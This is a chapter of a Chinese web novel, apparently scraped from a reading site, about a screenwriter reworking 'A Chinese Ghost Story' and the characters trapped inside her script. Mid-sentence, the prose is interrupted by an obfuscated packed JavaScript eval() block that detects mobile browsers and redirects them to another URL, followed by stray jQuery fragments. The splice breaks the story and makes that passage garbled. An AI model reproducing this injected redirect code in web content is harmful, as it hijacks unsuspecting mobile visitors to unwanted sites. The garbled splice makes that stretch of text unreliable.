“你觉得这样写可以吗？”苏苏坐在丁宝珠的办公室里。


    “可以，挺好的，我以为你不会写到燕赤霞了。”丁宝珠说。


    按之前苏苏改编的故事来看，她偏向于写中心人物，很少会有笔墨去讲述配角。


    “本来是这样想的，但这是个刑侦故事，加入警察的角色或许会好一点。”苏苏说。


    “嗯。”


    “你把剧本发给导演和制片人了吗？”


    “发了，暂时没收到他们否决的信息。”


    “......”


    “怎么了？上次你打电话过来，说故事剧情要再斟酌一下，是为什么？”


    “我们定了要去写两位受害者的苦难，但我好像.......不擅长写这种内容。”于是苏苏深吸一口气，艰难地说着，抬眸看到丁宝珠面色怪异地看过来。


    “怎么了？”她问。


    丁宝珠说，“不擅长写？苏苏，不要还没站稳脚步，就有了不应该有的毛病。”


    “但——”


    “好了，你回去吧。后天记得把前十集的内容交给我。”


    争取不得，遗憾退场。


    苏苏坐上回家的巴士。


    靠在窗边，经过海港城，遥望见太平山的轮廓。


    她叹了一口气。


    *


    阿盂也叹了一口气。


    从巴士上下来，侧身就看见“太平山站”四个字。


    身边有人跟着他一起下车，是宁采臣和燕赤霞。


    书院就在太平山附近。


    今天是星期六，九月二十号。夜探书院的人从两位变作三位。


    阿盂知道剧情为什么会重走一次了，是为了加入燕赤霞这个人物。而他若有所思地望向身边，燕赤霞在和宁采臣说话，见他望过来后，便也移目，做出一个疑问的表情。


    阿盂收回视线。


    无奈聂小倩这个角色逼着他开口：“燕警官好像对能看见我这件事不是很惊慌。”


    “哦，我吗？”燕赤霞说。


    身边宁采臣腰板一直，总觉得这位警官刚刚不着痕迹地瞟了自己一眼。


    燕赤霞：“一开始没意识你是鬼，后来是发现你好像碰不到任何东西，才明白过来是怎么一回事。但那时候你已经说出了自己的故事，所以，也没什么值得惊慌的。”


    三人一同走向书院。


    按照剧情，阿盂会在燕赤霞的带领下更加熟悉少女惨死案的细节，通过对比自己当年被人虐杀的过去，帮助对方破案。


    阿盂十分抗拒。


    没有人会喜欢向旁人袒露自己最惨痛的过往，更别说他还要去亲身体验一次、两次.....


    什么时候才是头呢？


    踩在碎石地上，阿盂默然地遥望远处像肿瘤一样的落日。


    它依然烂漫，落在身上也依然温暖。但一想到之后自己要经历的剧情，就觉得鼻息间萦绕了一股腥味。


    迫不及待地想离开这副躯体，心里已经烦到极致。


    他是阿盂，不是聂小倩......


    *


    丁宝珠说后日要交稿，苏苏在之后的两天里，几乎三十个小时都坐在电脑前。


    定了大纲，思路清晰，按理说写得会很快。但删删减减，苏苏心里的烦闷在壮大，不知道为什么无论如何都不满意自己写的东西。


    心神不宁，觉得是魂儿在脑袋上飘。


    “不行。”把手从键盘上挪开，苏苏顶着两个黑眼圈，凝视屏幕。


    “为什么总觉得不对劲？”


    违和感萦绕心中。


    公寓无声无息，似灵魂归去。


    苏苏打开邮件。


    想给丁宝珠写什么，推迟交稿时间或提供一个新的大纲，但不行。


    不想放弃这个故事。


    “是哪里出错了？”


    退出邮件，她打开文档，“是剧情上有问题，还是人物的塑造？”


    审视每一个段落，每一个人物，目光最终落在一处上。


    “.......是你吗？”


    *


    红苏查到林镜昭的住处了。


    银行频繁打电话来，追问阿盂在不在家。红苏本来不想做反应，但被催的，后来也心烦意乱，不接听任何一个来电。


    在家苦等两天，还是没见到阿盂后，决定出去找他。


    但出了家门，没走几步，又见到了几天前那位在夜间撞见她的邻居。


    刹停住脚步，红苏在那一瞬间好像也被吓退要出去找人的心。


    隔着十几米和邻居对视，“砰”一声把门关上，她退回到屋里。


    瞥见茶几上的电话，又心思一动，行至电话机前，想去找殡仪馆的电话。


    ——阿盂已经旷工两天，再不和他老板解释情况的话，不知道阿盂这份工作还能不能保住。


    “但我联系他老板的话，会不会又对他太好了？”红苏自言自语。


    希望像找到林镜昭的电话号码一样，从通讯记录里找到老板的联系方式。可找了好一通，一无所获。


    说起来，红苏之前每天和阿盂去上班，从未在殡仪馆里见到阿盂的老板。


    “就这么放心阿盂，将整间店的生意都交给他吗？”


    从沙发上起来，红苏思索着，走进阿盂的卧室。


    不知道里面会不会有入职合同，写着老板的信息。


    还真让她找到阿盂的入职合同，瞧见上面和他签约的人的名字。


    “丁宝珠。”红苏念出来。


    凝望手里的合同，感觉轻飘飘，沉甸甸，目光落在合同上“阿盂”这两个字上。


    他的名字其实很奇怪，没有姓，只有“盂”这一个字。


    但所有人都这样称呼他，不觉得有什么。


    是因为在这个世界上，所有人都只是一个故事人物，只需遵守作者定下的规则吗？


    想到这里，红苏陷入默然。


    有拍门声让她回魂。


    有人声若洪钟地在外面喊：“阿盂，过来开门！无故旷工，我看你现在也是翅膀硬了。”


    “......是阿盂的老板？”红苏回神，往门口走。


    将门打开的那刻惊骇：


    “是你？！”


    *


    “小姐，你......这里不是四零七吗？”


    面前的人三十五六岁，穿一身黑色的休闲装。


    拧头想去看门牌号。


    却被红苏阻止。


    “你居然在这儿......”只见红苏的面色从未如此冷厉，像结了一层霜似的，“你为什么会在这儿，为什么当初把我扔下往生池——”


    她想自己不会看错的，“让我以魂魄的状态出现在人间，你到底是谁？！”


    “......小姐，你在说什么啊？”男人后退半步，瞠目结舌。


    “装失忆？”红苏脸色更冷，往前半步。


    “什么装失忆，小姐......我们见过吗？”男人一脸莫名其妙，心想这难道是哪具遗体的家属？但最近没听阿盂说店里出了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269213|196733||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    什么事啊，又听到红苏问他叫什么，回答说：“我叫丁宝珠，小姐，这里是阿盂的家吧？你是哪位？”


    “我是哪位，丁宝珠，不是你安排我和阿盂见面的吗？”


    地府里，就是这位丁宝珠以汤圆作诱饵，将红苏丢进人间。


    可面前的人却依旧一副困惑的模样：


    “小姐，我真的不认识你，是不是搞错了，你有没有认错人？”


    “我不会认错。你是阿盂的老板，更让我确信这一点。”不会有这么巧的事，红苏想，设计让她出现在人间，又留下线索让她和阿盂相识的是同一个人，这丁宝珠一定有蹊跷。


    对方现在矢口否认，红苏也不再逼问，右手一抬，抓住对方的衣领。


    “进来喝杯茶。”


    将其揪进屋里。


    *


    苏苏和丁宝珠坐在客厅里。


    今天外面的天阴晴不定，宝珠的面色也是如此。


    “《倩女幽魂》的故事要改？怎么回事？”他说。


    “.....我进行不下去。”


    “我知道，你之前说过。但剧本内容和方向，导演和制片人那边说没问题，已经在定演员了。苏苏，到底为什么要调整剧本？”


    望向苏苏，丁宝珠的眼神中带着审视。却见苏苏目光游移，于是丁宝珠问，“是有什么难处？”


    “不是难处，只是......”苏苏欲言又止。


    该怎么说呢？


    觉得剧情怪异，写着很不顺手？


    但她是编剧，在资方手底下打工的人，何来擅长与不擅长？


    对面的丁宝珠却不说话，还在等她回答。于是双眼垂下，苏苏在思量半晌后开口，“我琢磨不透聂小倩这个人物。”


    “写她的时候无法定下心来，觉得好像她不被我掌控，给她规划好的剧情不适合她。”


    丁宝珠：“只是聂小倩的剧情要改，对吧？”


    “我想恐怕整个剧本的方向都要重新调整。”


    “你觉得她应该是一个怎样的人？为什么三个主要角色里，唯有聂小倩是特殊的？”


    苏苏答不出来。


    宝珠：“你新发过来的剧本我看了，你把《倩女幽魂》写成是一个古代奇幻故事，不是不好，但新旧版都是同一个题材的话，观众会更严厉，将它们做比较。”


    “如果我们把它换做现代背景呢？”苏苏说。


    “你是真的很不喜欢现在的这个版本，”丁宝珠便叹一口气，换一个坐姿。


    “说说吧，如果是现代，聂小倩和宁采臣会是怎样的发展？”


    *


    阿盂又一次跌入新的故事里。


    苏苏的困境，他并不清楚。


    日夜经历着聂小倩的人生，在忍受□□和精神上的折磨。


    无暇再去想自己到底是“阿盂”还是“聂小倩”。


    徘徊在记忆和现在的两个时间线里——每当宁采臣和燕赤霞询问他五十年前被杀一事，就要回忆一遍聂小倩的过往。


    可怖，血腥，惨痛。


    之前阿盂还想：把自己当作是演员，当是在经历角色的一生。


    但实在无能，他根本出不了戏。第一次当演员，这经历太过惊心动魄，让他开始怨恨，不知道作者为什么要这样折磨自己笔下的人。


    而故事进展到一半，好容易熬到他和宁采臣、燕赤霞三人找到嫌疑人后——故事却骤然停止了。


    阿盂发现自己来到另一个故事里。


    这次，他成了一只蛋挞。